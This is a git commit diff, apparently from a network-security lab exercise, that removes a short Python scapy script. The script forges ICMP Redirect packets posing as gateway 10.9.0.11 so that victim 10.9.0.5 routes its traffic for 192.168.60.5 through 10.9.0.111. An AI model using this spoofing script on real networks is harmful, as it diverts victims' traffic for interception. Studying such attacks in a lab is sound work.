updated some material

This commit is contained in:
2026-04-10 10:24:42 +08:00
parent d295179486
commit cbcdae4b75
17 changed files with 691 additions and 336 deletions

View File

@@ -1,24 +1,6 @@
#!/usr/bin/python3
from scapy.all import *
import time
from task1 import main
# 原始网关是 10.9.0.11
# 我们要受害者 (10.9.0.5) 将发往 192.168.60.5 的流量重定向到 10.9.0.111
# 外层 IP 包:假装是网关发送的
ip = IP(src='10.9.0.11', dst='10.9.0.5')
# ICMP 重定向 (type=5, code=1: Redirect Host)
icmp = ICMP(type=5, code=1)
# 新网关
icmp.gw = '10.9.0.111'
# 包含在重定向包中的“触发包”负载
# 必须匹配受害者正在发送或刚发送的内容
ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
# ICMP echo request
pkt = ip/icmp/ip2/ICMP()
print("Sending ICMP Redirect packets...")
for i in range(10):
send(pkt, iface='eth0', verbose=False)
time.sleep(0.5)
if __name__ == "__main__":
main()